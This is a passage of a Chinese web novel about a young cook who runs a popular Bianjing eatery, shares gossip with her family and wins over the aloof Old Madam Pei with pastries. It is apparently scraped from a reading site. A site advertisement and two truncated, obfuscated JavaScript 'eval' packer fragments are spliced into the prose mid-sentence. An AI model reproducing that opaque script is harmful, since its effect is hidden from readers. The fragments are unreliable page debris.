住在客房备受礼遇,帮厨时管饭,还能打包多做的酒席菜回家养活家里人,这份工作怎么瞧就是圆圆满满。 叶璃连连摇头,敬谢不敏。 “一个两个都是老娘管不了的倔驴。”宓凤娘恨铁不成钢,又突发奇想,“那我跟着你学厨吧。你娘我年过四十,风华正茂,正是要干大事的年纪。” “我看着行当就像老中医一样越来越值钱。”叶大富在旁赞同老婆的观点。 叶璃点点头:“就跟我们时妖一样,老者受尊重。” “到时候出去人家看我年纪大还当我们是多年传承的老字号呢,”宓凤娘憧憬着未来的幸福生活,“这可比当媒婆赚得多。” 却被全家人集体泼冷水:“不可。” “难道又要火烧灶房?” 第 27 章 五香糕、骆驼蹄 “噢那家店的老板生意好,索性开了家食肆。”汤大人回味着今天的美味排骨,一边回答。 裴昭有点意外:“没记错的话食摊才开了一个月,能在一个月之内就换到了食肆?” “小裴大人好记性,这种小事都记得住。”同僚笑道。 裴昭友善笑了笑,他的确记性很好,办案时一眼就能观察到细节。 旁边有同僚笑着招呼:“明日小裴大人跟我们同去便是。” 裴昭破了那个牵涉五六条人命的案子,一下就在衙门里立稳了脚跟,原先还对他态度不明的同僚们立刻对他多了许多亲近。 原本大家都觉得他是从金吾卫过来镀金好为日后升迁打下基石,因此对他敬而远之, 前些日子他追着案情不放,还有不少人明里暗里嘲讽他,说他外行倒来指点内行办案子。 可这桩案子全靠他才得以告破,听说他屡次走访各处,追凶时还在雨天亲力亲为不辞辛苦。 因此大家对裴昭也改观不少,原先叫他“那个刺儿头”,如今也能称他一句“小裴大人”。 “是啊,明日跟我们去用午膳。”汤大人也开口,他看着裴昭受同僚欢迎,自己心里也替他高兴,这少年做事沉稳合他的脾气,因此打心眼里希望他能走得更顺利些。 “明日恐怕去不了。”裴昭说起话来文质彬彬,自有一派,想让想起时人一句词“云峰秀叠,露冷琉璃叶”,“明日我想请诸位一起去樊楼吃酒庆功。” 樊楼是汴京城第一酒楼,当然是人人欢呼。 第二天诸人喝酒不提,只裴昭没想到,晚上归家时同僚里有人还惦记着吃那家小食店呢:“今天回家时我要特意绕到那家店门口,打包一份糖醋排骨走。” “我也是,我馋他家的酥骨鱼了。” 开张两天店里就生意火爆,除了原来的老食客,还来了许多新客人,一是原住在这条街附近的居民,二是逛州桥夜市的行人。 居民们原本离着州桥夜市近,更愿意多走几步去夜市买吃食,那里选择更多食物也更美味。 毕竟要在餐饮竞争者林立的闹市站稳脚跟,也须得有些真本事。 看这家小店紧锣密鼓装修,还议论几句:“怎得来这地方开店,万一赔钱了可如何是好? 等店铺开张,见店里售卖凉饮子,打听到原来配方后便决定买碗饮子喝一喝。 可进了店铺就走不动路了,店门口摆着的大盆里盛放的菜肴那是闻所未闻,见多未见:“那是……? 叶盏贴心介绍:“这是芥末虾球,那是长安葫芦鸡,您要尝尝吗? “葫芦鸡?街坊看着被做成葫芦形状的鸡,油色发亮,金黄色的鸡皮很是紧绷,一看就香,而且凑近已经能闻到无处不在的鸡味了。 他点点头:“来一整只吧。 想了想:“再来一份芥末虾球吧。打包送到我府上。 叶盏笑眯眯应了下来,不愧是有钱人,买鸡都买一整只。 这位街坊的家人晚饭时就在餐桌见到了这两份菜。 家中老爷子很嫌弃:“家里的灶房有厨子专门做饭,何必又去外面买? 倒是娘还会打圆场:“不如尝尝。孩子也是一片孝心嘛。 老爷子哼了一声拿起筷子,不过在听说菜名叫做长安葫芦鸡时又生气了:“什么长安鸡,比得过汴京嘛? 两京百姓互相看不起,长安人觉得自己是西京,比东京文化底蕴深厚,汴京觉得自己正当红,长安不过是前朝故都。 “您尝尝嘛,挂着长安名号,可孩儿往来长安也未曾听说过有葫芦鸡这道名菜,想必是做菜的厨子起个噱头。儿子倒是好脾气。 老爷子见儿子顺从,倒不挑剔了:“那我尝一口。 他吃一口,鸡皮经过油炸,酥,脆,在嘴里发出咔嚓的声响。 几乎是一下就化开了。 很快就咬到了鸡皮下面的鸡肉,很嫩,肥美多汁, 想必这道菜是先卤再油炸,所以在确保外皮焦脆的同时还做到了内里多汁。 “这厨子虽然爱乱起名,但对鸡肉了解倒颇有见地。老爷子吃得痛快,指点江山,“鸡皮油大,油炸后正好发挥鸡皮的丰腴,而这鸡肉容易干柴,必须卤后才更有滋味。 “世人做鸡,要么油炸炙烤,要么加汤卤汁,很少有人能想到结合这两者。老爷子总结。 老爷子配着葫芦鸡喝起了小酒,还诗兴大发,唤来童子去拿纸笔,当场就着餐桌,泼墨挥毫填了一首《临江仙》! “ 吃个鸡也这许多劳什子。”老夫人笑话他,自己夹了一筷子虾仁。 芥末虾球外观黄腻腻的,也不知道什么酱汁裹在外面。 放进嘴里,一下就不说话了。 真滑腻啊,那层酱汁浓稠,与往常吃过的任何酱汁都不同,奶味十足,口感非常丝滑。 随后冲进口腔的是芥末,非常霸道,先声夺人。辣的叫人说不出话来。 下面的虾仁弹牙中带着清甜。 这个芥末虾球口感和滋味都十分复杂:蛋黄沙沙的滋味、绵软滑润的奶香味道、芥末的刺痛,虾仁的清甜。 乍然让人有点懵,感觉这道菜有点怪,拼凑了各种奇怪风格。 可是吃完后回味一下——搭配正好! 芥末的辣更好突出虾仁的鲜美,蛋黄沙沙的口感和奶香酱润滑形成对比,正好中和了芥末带来的清爽。 让人忍不住吃了一个又一个。 从那以后他家餐桌上必然有叶家食肆的菜式,至于是什么菜式嘛,取决于哪个是新上菜式。 原本想吃几次新鲜等吃腻了就作罢,没想到叶家食肆的菜式基本两日就一更新,没有重样的! 这…… 这家人便开始天天往叶家食肆跑。 像他家这样的人家不在少数,街坊邻居们原先都是为了去买饮子,可去了以后不由自主就被店里新奇有趣的美食吸引,因此免不了要消费。 至于这行人嘛…… 店里营造的景色雅致,风格独特,因此许多逛州桥夜市的行人难免被吸引:“那家店是什么?” 河对岸原本是别人家后院,一排灰扑扑的砖墙也没什么看头,可今日居然多了一扇窗,窗上应当是钉了钉子,居然用麻绳挂了个小木盆,里头一长串开得枝繁叶茂繁花累累的黄木香垂下腰肢。 窗台下更是一排矮矮的茉莉花,风沿着河面吹过来,连茉莉花的香气都吹进鼻端,香气盈满行人衣袖。 窗扇向外推开,看得见里面摆着饭桌,坐满了食客。 那副窗景就像一幅画,勾得行人走不动路,对着那扇景色看了又看。 这时桥下有个生得美貌的小娘子开口:“想去那家吃饭吗?那是叶二姐食肆,你过桥从前头那个巷口走,第三家便是。” 行人赶紧点头,顺着她的指引走过去。 等过去后,先是被店铺从未见过的装修风格所吸引,入座后又是被各色新式菜肴所吸引。 一盆盆没见过的菜式都已经做好了,单等着人来点单。 在这种氛围下还有人会走吗?当然是坐下点菜,享受鲜花美景和丰盛菜肴。 这是叶盏精心设计的巧思。 虽然聪明才智比不过古人,但她可以站在巨人的肩膀上,像森系花草为主的装修,还有各色后人新发明的菜式都可以选用。 汴京城里虽然烤肉、烤鸡、火锅这些菜品一应俱全,但什么龙井虾仁、滑溜黄菜、鲜肉烧麦、金黄桶子鸡这些后世发明的菜式却没见过。 因此叶二姐食肆的生意一天比一天火爆。 只过了短短十来天,叶盏就赚回了六两银子,惹得宓凤娘连连惊叹:“乖乖,原来真能回本。 “我和姐姐双人帮忙,每日里忙得脚不沾地,一个做菜一个收钱,天明开店夜市还不关,算下来一天十二个时辰要忙八个时辰,这点钱实在是辛苦费。叶盏仍然没有轻易满意。 她想了想,在征求房东同意之后,索性将店铺找中人租了出去。 中人吃了一惊:“怎的才租下就要转租? 等问清楚只不过是租晚上亥时到早上巳时①这六个时辰,才点点头:“我去试试问。他仍旧觉得这桩生意听着就不靠谱,怎么会有人租一半店铺的? 谁知到市面上去问,却有很多小贩愿意:既能在州桥夜市做生意又不用支付高昂的全额赁金,谁不愿意? 叶盏这商铺平时租要六两银子,如今对外租赁只需要二两银子,只付了三分之一的价钱却能享受这商铺一半的时间,谁不愿意? 何况叶盏的商铺打理得别出新颖,很吸引人眼球。 一时有许多小贩来求生意,甚至还有神通广大者直接找到宓凤娘这里说情。 叶盏哭笑不得,她便也请中人做了个背景调查,挑选了一位家世清白举止端正的独身女子青娘子签了协议。 青娘子是个爽快人,当即就掏出了银钱递过来:“您放心,以后脚店里的洒扫、清理,都包在我身上。 宓凤娘听得女儿用这法子赚钱,先是担心女儿吃亏,又是自告奋 勇想自己去做那六个时辰被叶盏拦住:“通宵熬夜您这身子骨哪里受得住?” 叶盏将铺子租出去之后从容了许多虽然夜市热闹但她也以身体为重夜里收工优哉游哉回家跟家人吃几道当日剩下的菜肴和哥哥学习看书也算是劳逸结合。 女儿不愿意宓凤娘只好作罢。 不过宓凤娘嘴上嫌弃女儿败家在心里还是很以女儿为自豪的连着好几天连睡梦中带着笑意:这才回家几个月就能月赚十八两? 这十八两银子是宓凤娘自己算出来的10天赚了六两30日不就是十八两吗? 丝毫不考虑房租也不考虑买菜成本 她说是十八两那就一定是十八两! 原先她还热心考虑撮合赵小七和叶盏如今眼光也带了几丝审视:赵家这赁金一个月有多少? 固然比十八两银子多可汉子天经地义就应当比浑家赚得多好多才叫像话。 这赵小七有没有本事带着赵家家业再上个台阶? 原先还有些遗憾王家亲事没成如今看见王家门老远就要唾一口:“呸!我女儿如今月赚十八两!你家迟早肠子要悔青!” 原先闲暇时免不了跟炭场巷街坊邻居们磕着瓜子谈笑风生点评东家长西家短。 可如今从巷子里走过远远看见那些人必然高高扬起头腰背挺得笔直她可是要去女儿店里帮忙洗菜择菜哪里比得上那些闲人? 那些闲人婆子哪里懂月赚十八两银子的紧迫喔? 谁知她傲然走过时却被个熟人叫住:“宓凤娘你怎得一天天这么忙连跟街坊们闲聊的功夫都顾不上?” 说话人叫何兰翠。 整个人干瘦三角眼覆舟口一对眼睛喜欢滴溜溜上下打量人瞥完后不如自己的眼中划过一丝鄙夷比自己强的更加嗤之以鼻。 宓凤娘见她就没好气何兰翠是她死对头上次关于叶盏退亲的传言也是何兰翠宣扬的满巷子俱知。 因此宓凤娘说话就没好气:“帮我女儿一点忙罢了要说我家女儿贴心一日都不许我累着可我有手有脚的哪里能忍心女儿忙碌?” 何兰翠脸色变了她一向自豪自己生了 三个儿子奈何各个都是讨债鬼除了跟她要钱偷钱没有别的事做哪里比得上叶家孩子各个贴心? 她努力抿了抿嘴笑道:“我们正说笑话呢你也来听听。” “我刚才说啊那街上有个地主放屁帮闲讨好他说不臭地主大惊说屁不臭是犯了病?听说屁不臭是大病定要去看郎中! 帮闲赶紧说‘我又闻了又闻您这屁有回甘呢回甘略有些臭味’。” 一番话说得邻居们大笑。 这回换宓凤娘气得脸色青白了。 金哥儿便是帮闲虽然穿着锦绣衣服每日里吃喝体面但在少爷老爷跟前伺候哪里是轻松的? 儿女们各个都是她的心头肉她为了大儿子受气不知私下里担心了多少。 这何兰翠明摆着就往她心头扎。 因此宓凤娘脸沉下来转念之间却将火气压了下去 说全网首发无弹窗免费阅读qiexs⑥(请来企鹅小 说 看最新章节 完整章节)闲闲举起右手挠了挠:“怎得有蚊子好痒!” “啪”一下在胳膊上打了一下:“净日里在人耳边嗡嗡嗡赶紧打死清静!” 这话是暗指何兰翠呢她越发恼火脑子飞快想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬举何兰翠还是头一回,因此何兰翠脑子迷瞪瞪的,一时倒没有反驳。 “我家二姐儿呀也就是自个儿折腾,赔钱无数。我家叶大富还说呢,光我那做饭的手艺,就不能给几个闺女教什么好来。 宓凤娘火烧灶房煮出焦糊黑粥的事街坊邻居们都知道,这下都信了九成,若是那二姐儿随了亲娘手艺做饭赔钱是板上钉钉。 “因着她多年流落外面,家里就由着她折腾,也算是我们做父母的一片儿女心,唉,家家都有本难念的经啊。 “现今这些小娘子跟我们那一代没法比啊。我常劝自己儿孙自有儿孙福,眼不见为净,由着他们折腾便罢。 这番话勾起了巷子里诸人的共鸣,人到一定年纪就会觉得看不顺眼年轻人,自古以来全然相同。 于是这番对叶家财富的试探神不知鬼不觉变成了对当代年轻人不如上一代人的批判。 宓凤娘经历此事后更加勒令叶家人行事低调,不许将叶盏赚钱的事传出去。 还有,她对四处挑事的何翠兰更加愤恨,狠狠记上一笔,并发誓以后有机会一定要报复回去。 叶盏对这件事最大的感触就是以后一定要搬家。俗话说在野鸡 的世界里天鹅什么都不用做光是存在就是原罪。 炭场巷是平民区她如今住的杏花巷就要更富贵些月赚十八两银子在炭场巷被眼红到了杏花巷只怕要被嘲笑。 如今她熟悉了杏花巷倒发现了一位熟人:裴老夫人。 原来她老人家就住在这里当日跟叶盏签合同的人便是裴老夫人的管家叶盏租赁的商铺便是裴家的。 那天裴老夫人在陶家仗义执言叶盏对这位老夫人很是感激。 再加上有免费赠送凉饮子菜谱的恩情叶盏便自己琢磨做了两道老年人爱吃的菜肴送过去。 一道五香糕用糯米粉再里面加上白术、茯苓、人参这些滋补的食物在石磨盘上磨成细粉而后蒸熟 等冷却后用毛笔小心翼翼在上面画个小梅花。 之后再用精致的印梅花小瓷碟装了六个层层叠叠取一个吉利数字堆叠起来恰如一簇梅花让人看着就觉雅致非凡。 玉姐儿在旁边赞:“我虽然不会作诗可是这玩意儿瞧着就有诗词那个调调。”她如今跟着大哥学习也是进步飞快能体味到其中诗意。 因着不知道她老人家喜欢咸口还是甜口叶盏便又做了一道咸味的点心。 这道点心叫做骆驼蹄是汴京城里时兴的一道咸味点心类似于现代人喜欢吃的煎饺、水煎包。 白面擀薄皮里面包了鸡肉、猪肉两种馅料做成骆驼蹄形状再油煎直到外皮变成焦黄色出锅。 叶盏和玉姐儿两人一起送了糕饼上门门却没开门子开了门上那扇小窗后嗯了一声:“容我去通禀。” 过一会那扇小窗开了门子态度冷淡:“我家老夫人说知道了。” 嗯? 怎么回事? 玉姐儿和叶盏齐齐对视一眼当时这位老夫人能够仗义站出来应当不是冷心冷血的人怎么会变得这么冷冰冰? “我此次来并不是攀附老夫人只是想表达谢意既然老夫人不愿意被打扰那请转交我谢意便是。”叶盏想了想妥帖回答。 门子进去又回来传话道:“我家老夫人说帮你说话倒不是想仗义执言而是因为裴家祖上也曾被人这么污蔑过其实是在替自己正名你不用感念在心。” 叶盏嗯了一声神色依旧平静:“晚辈以后绝不会再打扰只是老夫人举手之劳却顺带帮了晚辈大忙烦请将这食盒呈上去也是晚辈一点心意。以后绝不上门打扰。” 门子又去问了问这回没拒绝开门接过了食盒。 作者有话要说 ①亥时:晚上十点。巳时早上十点感谢在2024-07-2612:01:17~2024-07-2623:27:55期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:luiez23瓶;春日游玩、梅开花世界、四岁是男神10瓶;momochi5瓶;今兮何年、开心就好1瓶; 非常感谢大家对我的支持 第 28 章 金橘膏 “这位老夫人当真是有点……”从裴宅里出来,玉姐儿小声嘀咕,看见妹妹目光扫过来,硬生生把“乖僻古怪”几字咽了下去。 她避开了这个话题,扭头回望宅邸,换个话题:“裴宅可当真是大宅邸啊。” 杏花巷走到头,左手边临着汴河一大片都栽种着槐树,槐树荫里米黄槐花点点,落叶成荫子满枝,树下槐花碎米般星星点点撒满一地。 而槐花荫遮蔽之处都是裴宅,虽重檐遮蔽看不清楚具体几进,但目光所及就已经有了三进。 在寸土寸金的汴京城,这裴宅算是中等偏上的宅邸。 雨打梨花深闭门的大宅、孤僻少言的老夫人,裴家简直自带神秘色彩,勾得玉姐儿心里痒痒,当天就发扬了继承得来的宓凤娘基因优势,将裴家事打听了个底朝天: 原来裴家累世官宦人家,要说富有的话自然是比不上京中巨富,但也算是家底殷实。 据说比叶家姐妹上次去的陶家还要背景深厚,怪不得上次裴老夫人说话时,陶老太太也能听得进去。 裴老夫人与儿子儿媳并不住在一起, 据说裴老夫人原本要儿子娶自己娘家侄女,奈何儿子与另一个小娘子感情甚笃。 若是旁人也罢了,这小娘子是裴老夫人死对头家的女儿。 裴老夫人劝不住儿子,便放出话去,若儿子执意要娶那女子,家里的财产便不要再肖想。 裴老爷是个硬气的,请裴老太爷出面帮忙定亲娶亲,就此放弃家中资产,搬离了出去。 他携了妻子去了外地赴任,后来又升迁回京,每日晚上都会来门外向母亲问候请安,一日不缺。 可裴老夫人一面都不见,后来裴老太爷去世后她更加深居简出不怎么见外人。 玉姐儿边洗金橘边感慨:“听说过男子听老娘的打老婆,却没听说过男子为了老婆忤逆母亲的。” 男人嘛,有钱便是娘,像裴老爷这么个人算是异数。 又感慨:“裴老爷没听亲娘的,裴老夫人也有不对,怎么会与自家儿子生分成这样呢?”说着还飞快往嘴里塞了一个金橘。 叶盏摇摇头:“放在咱们叶家,就好比金哥儿执意要娶何兰翠女儿,娘不跳起来才怪呢。” 玉姐儿想到宓凤娘在家 剁萝卜时都要把萝卜喊成何兰翠的名字,哆嗦了一下,立刻就能共情了。 “不过官场人家都讲究体面,闹那么僵也是少见。”叶盏将金橘对半劈开剔去籽粒,“也就是裴大人孝顺,不论寒暑都守在门外请安,否则还不得被政敌参上一本?” 上回那个陶家,大房明明被老太太压得喘不过气来,却因着一个孝字不能动弹,只能忍辱负重。 却不知道裴家这么明目张胆的与老夫人不合,是如何堵住政敌嘴的? 在玉姐儿的八卦下叶盏很快知道了缘故: 原来裴宅比她想象的还要大,府邸分为东西两面, 杏花巷这边的门是原来宅邸的一个小侧门,当初老夫人生气,叫了泥瓦匠将两院联通的地方砌砖给堵了,连着的门也都上了锁,自己又在杏花巷这边另外开了一扇大门。 外面看上去,老夫人仍旧住在裴府,深居简出,裴家宴饮老夫人都对外宣称自己年岁大了专心礼佛,亲友人来访也是从裴家正门进来送到西院,因此居然也没露馅。 叶盏了然:“所以这位老夫人生气归生气,到底还是留了慈悲,没把儿子的路给堵死。” 否则她跟亲戚哭诉或是去开封府告状,谁能拦着?裴老爷的官途只怕当时就能到头。 儿子不按照自己心愿行事,老夫人也就只是拒绝不见,既没有当面阻挠又没有影响儿子仕途。 可见她老人家心底善良。 “否则要是那等刻薄婆婆,非要儿媳给自己端茶倒水服饰左右,趁着儿子在外地任职将儿媳扣下,让她劳累缺觉,折磨得生病后又不请大夫,只怕两年就能把儿媳磋磨死。” 到时候跟儿子和好如初,按照自己的意愿再找个合心意的儿媳,照样是亲亲热热一家人。 “再者,这些小事连我们这些外来户都能打听到,可见裴家并没有刻意隐瞒,倒是光明磊落。” 叶盏根据自己分析的细枝末节得出结论:“裴家老夫人性情刚烈不折,裴老爷不避讳家丑光明磊落,这裴家上下倒都是正直人家。” 说完了八卦叶盏便下锅煮起了金橘,就见门外有人探头,居然是裴家的管家。 他以拳抵口轻咳一声:“来拿今日的凉饮子。” 叶盏入住后便信守承诺给房东天天 送凉饮子,只不过往常都是来个跑腿小厮拿,今日怎么劳顿了管家? 她心里疑惑,但还是将一罐早就准备好的紫苏饮放在了食盒里:“好了。” 管家拿了食盒却不走,问:“还要买点五香糕,还有,呃,骆驼蹄。” ? 玉姐儿嘴快:“我们店里只卖正食不卖点心。” 说完后自己反应过来,这点心虽然不是前天送给裴老夫人的吗?难道…… 她看了看叶盏。 叶盏含笑,似乎没听见:“您稍等,等我起锅现做。” 磨好煮完了五香糕,又下锅油煎了骆驼蹄,仔细装好,临了又将放了一瓶金橘酱进食盒:“这是我才刚熬制的,早晚喝水时加几勺增味。您且回去尝尝。” 管家含糊应了一声,拿出银钱。 叶盏坚决不收钱:“您给我方子无偿,我怎么能收您的钱?” 管家却坚持:“你若是不收钱,我明日若是还想吃便不好意思开口了。” 叶盏想想也是,便只收取了糕点的钱:“金橘酱是送给您的添头。” 等管家走了,玉姐儿眼珠子咕噜噜转:“我猜到了,肯定是老夫人吃完你做的点心,又想吃,跟你讨要的话面子上挂不住,所以才差遣了管家亲自来买。” “只不过……”玉姐儿还有一个点没明白,“五香糕和骆驼蹄明明是前天我们送给老夫人的,怎么今天才来买?” 除非……除非老夫人吃完后觉得好,但又碍于面子不来买,等到第三天时实在煎熬得紧,这才冒着丢面子的风险差遣了管家过来。 只不过她和管家都不知道这点心不对出售,还当冒充普通食客开口购买就不会暴露自己。 谁知一开口就暴露了买主是老夫人。 玉姐儿乐:没想到老夫人跟她一样是馋虫附体忍不了的饕鬄,这么一想她对裴老夫人的成见小了不少。 叶盏淡笑:“老太太既然对我好,那我回报她便是,管她家里那些纷纷扰扰呢。” * 裴老夫人看着放在桌上的点心,嘀咕了一声:“也是奇了怪,黄土都埋到脖子了,倒忽然变贪嘴了。” 跟前服侍的潘婆子笑着给她布菜:“您说什么呢,能吃是福,这是菩萨的恩德。” 老夫人这些年深居简出,也不大理会世事,吃食上也简约,初一十五礼佛时吃素,平日里上的菜简单夹几筷子便罢。 今年也就是前些天才因着娘家侄女的面子去了趟陶家赴宴才多用了小半碗。 前天门外有小娘子求见,送了五香糕和骆驼蹄两样点心。 外面送来的点心自然是不会直接给老夫人的,老夫人赏赐给了她们下面丫鬟。 偏偏下午喝茶时新来的小丫鬟拿错了,将那两样点心端了上来。 五香糕滋味绵软,软软糯糯的口感还有各色坚果香气, 寻常点心上点画都只是个红色,无可这五香糕上面画着的梅花吃进嘴里都带着甜滋滋的梅花清香。 骆驼蹄听小娘子的建议先煎过,所以油滋滋的,微微焦黄的脆皮咬开便尝到馅料,脆爽的猪蹄搭配肥瘦相间的肉馅满口留香。 老夫人已经许久没吃过这么多点心了,居然一口气吃光了大半盘点心,最后还是潘婆子担心她吃多了,哄着她拿走了点心。 潘婆子在廊下吩咐小丫鬟:“再去叶家,寻那小娘子买些点心。” 难得老夫人有胃口,不如多买些回来。 没想到被老夫人拦住了:“不许去。”前脚刚跟人家说了不愿相互结交,后脚就巴巴儿去人家店里买点心,那不是笑话吗? 潘婆子只好作罢。 谁知到了第二天下午,老夫人喝茶时看着满桌的点心一个都没胃口,筷子拿起又放下,最后只说:“撤了吧。” 第三天,潘婆子吩咐厨下做了一桌更丰盛的点心,老夫人夹起一筷子又放下。 潘婆子黯然,自打跟老爷断绝关系后,老夫人的性子是一年比一年孤僻了,这样下去可如何是好? 平日里不大高兴,一个人吃饭也没滋没味,往往只喝一两口,这脸颊凹陷下去,比实际年龄看着都大好几岁。 她开口欲劝,就听老夫人说:“着人去趟叶家食肆。” 去食肆干什么,当然是买点心。潘婆子知道老夫人性子倔强,能说出这样的话已经算是难得,因此不咸不淡应了声:“是。”心里却乐开了花。 点心摆上桌,除了五香糕和骆驼蹄,还有一个小瓷瓶。 潘婆子转达管家传的话:“管事说那叶家小娘 子正在熬果膏,所以额外送了一瓶子金橘膏做添头。 老夫人倨傲应了一声,算是知道了的意思。手却比她嘴更诚实,直接拿起小瓷瓶打量。 掀开盖子便看见黄橙橙的膏体,鼻端也立刻闻到柑橘清新充满活力的香气,让人整个都神清气爽。 潘婆子拿小勺挖一勺放进老夫人手边的水里:“说这个金橘膏是兑水喝的。 几勺下去,白水也变成了橘色,里面的金橘果肉呈现晶莹状,在水里慢慢弥散沉浮,让原本孤寂黯淡了许久的房舍也多了一丝色彩。 喝进嘴里之后甜丝丝的,还有点清爽的柑橘酸,却不涩口,只有清新感。 就着那果味,老夫人居然将一茶杯白水喝光了。 潘婆子大喜:平日里老夫人嫌白水没味不怎么喜欢喝水,可郎中说应当多饮水,用这法子倒能哄得她多喝水。因此打定主意,等这罐金橘膏喝完后要再去叶家买几罐存在家里。 喝完水,那几块点心也吃得一干二净。这可是平日里老夫人饭量的两倍。 潘婆子高兴,当即在旁小心翼翼开口:“回禀老夫人,今日管事听说明日有胡炮肉和莲蓬汤,许多附近的街坊担心被一哄而抢都提前订购了一份,他便也定了一份…… 听说那家店里除了点心还有正食也做得不错。 她一边说一边留意打量着老夫人的表情,见她还是老神在在似乎没有什么兴趣的样子,立刻改口:“您也知道管事这人就是个琐碎性子,往好了说是做事周全,往坏了说就是啰里啰嗦多此一举…… “你也别责怪他了。老夫人开口,“订都订了,明日便呈上来吧。 “哎! 第二天老夫人就在餐桌上见到了胡炮肉和莲蓬汤。 她用筷子巴拉一下:“羊肚? 胡炮肉外面一层微微带着焦黄的羊肚,潘婆子示意分菜丫鬟上前将羊肚切开,一边笑道:“老夫人莫嫌弃,这羊肚是在烧过火的地坑里慢慢煨烂的。 随着羊肚被银刀划开,里面清透的肉汁流了一盘子,潘婆子笑:“店家说内里加了羊脂,如今看来果然没错。 随后里面的馅料流出来,淡粉 的羊肉丝冒着腾腾热气,铺在盘子里。 裴老夫人夹起一筷子尝了尝: 羊肉丝被包在羊肚里长期加热,已经被变得软嫩一片,吃进嘴里几乎是入口即化,丝毫没有任何肉丝的纤维感,只有无尽的绵软。 羊肉滋味也没有半点膻味,反而能尝到荜茇、豆豉等各色香料的香气,衬托得羊肉更加鲜美。 而羊肚丝也没有想象中的硬,反而有点软烂,还保留了嚼劲但却不费牙,吃起来烂烂的。 裴老夫人吃了两口,潘婆子在旁凑趣:“这羊肉并不是便宜物件,厨娘能做好,可见技艺不错。 眼见老夫人连着吃了几口羊肉潘婆子立刻转移注意力:“您尝尝这莲蓬汤吧?羊肉肚丝都不好克化。 雪白瓷盆里清汤清澈如许,上面漂浮着小小绿色莲蓬,小的指甲盖大小,大的戒指大小,看着倒精致。 外面烈日炎炎鸣蝉焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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在开张一个月后叶盏做出了第二个决策:把精品的菜肴做成自助餐。 在家人费劲力气解释完自助餐的定义后全家都惊呆了。 “你疯了不成?城里的大肚汉进来吃饭各个能将你吃得钱袋子朝天。”宓凤娘第一个站出来反对。 “我这店里开张一个月精品菜肴一共出售了二十贯银钱客人是四百位这么算下来每个客人的客单价是五十文钱。我的定价便是六十文无论如何都不会赔本。”叶盏给娘耐心讲解。 叶家人恍然大悟怪不得这个月叶盏都在纸上写写画画还吩咐玉姐儿记下客人的数量和年纪、男女原来是打着这样的算盘。 宓凤娘可不听女儿的理论:“这么说吧要是城里有一家你这样的店我一定带着你爹你哥哥顿顿去吃。” “是啊连你们这些平日里不下馆子的人都来吃那其他人来吃的就更多了。我的客流量定然会高企这样走量之后每个人头上可摊的成本就更低了。” 宓凤娘一愣她没想到女儿还能这么诡辩 只好给叶大富使个眼色:“他爹你说句话啊。” 叶大富立刻响应:“不成原本吃一碗的人因为你这是免费立刻死撑着吃两碗甚至两三天不吃饭就为了来你这里吃一顿肯定会赔本。” “要是寻常的价钱肯定会有爹娘所说的这类人。”叶盏耐心解释 。就算是在人人都能吃饱肚子物质资源极其丰富的现代,还有很多人吃自助是奔着回本去的,何况在缺衣少食的古代? “可是六十文一位,这在汴京城里豪华酒楼中也是个不小的价钱了。”叶盏分析,“能拿出六十文吃一顿饭,这样的人原本也就家境优渥,不会在意一顿餐食回本的事。” 这…… 叶家人想想还真是这个道理,他们寻常吃一碗面也就六文钱,年节想吃得好些最多咬牙割肉到二十文。 像隔壁赵小七那样的人家过年也就人均六十文。 能在寻常日子里舍得花六十文一顿的人算是城里的中等人家了,也就杏花巷里这些人家才舍得。 对这样的人家来说六十文不算什么,平日里他们也是吃各种山珍海味,肚里不缺油水,因此也就不会有指望一顿能回本的想法。 而对于穷人来说,为了图占便宜一口气拿出六十文也不划算啊。 这六十文的门槛,一下就把那些想占小便宜的人拒之门外。 如今店里生意虽好,但叶盏想要开拓营业利润,就要先从高收入版块入手,她打算先把店里这些高端客户变成忠实消费者。 “再说,我做自助是想让这些客人多尝尝各种菜。每次店里这种客人来,最惋惜的就是自己只能吃不完那么多种菜肴,不如开设自助让他们多尝尝。” “还有,我这也不是一味由着客人们吃,会给客人每位菜肴不超过两盘的限量,再怎么样也赔本。” 女儿侃侃而谈,看着又一幅胸有成竹的样子,叶家父母一时哑口无言,半天银哥儿冒出了一句话:“爹娘,我瞧着盏儿心里有数,就由着她去罢。” 说完还从自己口袋里掏出个军绿色的钱袋子:“这里头是我的俸银,妹妹拿着,倘若不够我再跟人借些。” “不用不用。”叶盏连连摆手,她现在赚钱攒了些钱,完全能够应付得来。 这件事虽然有了定论,但叶家人仍旧很是忐忑:满汴京城都未听说过“自助”的吃法,叶盏这别出心裁的做法会不会折戟惨败? 作者有话要说 周一的更新在当天晚上十一点半,这几天为了上夹子所以更新时间很奇怪,简直逼死我这强迫症,等周一下了夹子后会在固定时间更新。 感谢在2024-07-2623:27:55~2024-07-2722:56:29期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:绝望文盲王一博1个; 感谢灌溉营养液的小天使:时宜、597484402瓶;蒲扇、飞鸟和鱼、柠檬1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 29 章 香煎馉饳、金银镶... 常都监老爹踩着满地的槐花碎慢吞吞踱步,一边漫不经心跟路过的街坊打招呼。 “老爷,听说叶家那食肆除了以往的外带、堂食还多了一种没听过的‘自助’,您可要一观?”身边长随殷勤相问。 常老爷停了脚步。 自打儿子从叶二姐食肆拎来长安葫芦鸡之后他便离不开叶家食肆了,常让仆从打包了外食回家。 但真要去坐在市井脚店里吃饭吗? 毕竟儿子还在做官,常老爹有那么几份矜持,不想被街坊们看见出现在那里。 可……实在是肚里馋虫战胜了一切,回想起叶家的葫芦鸡和玉带糕滋味,咂吧下嘴,到底还是放下了面子,踱步来到叶二姐食肆过来瞧瞧。 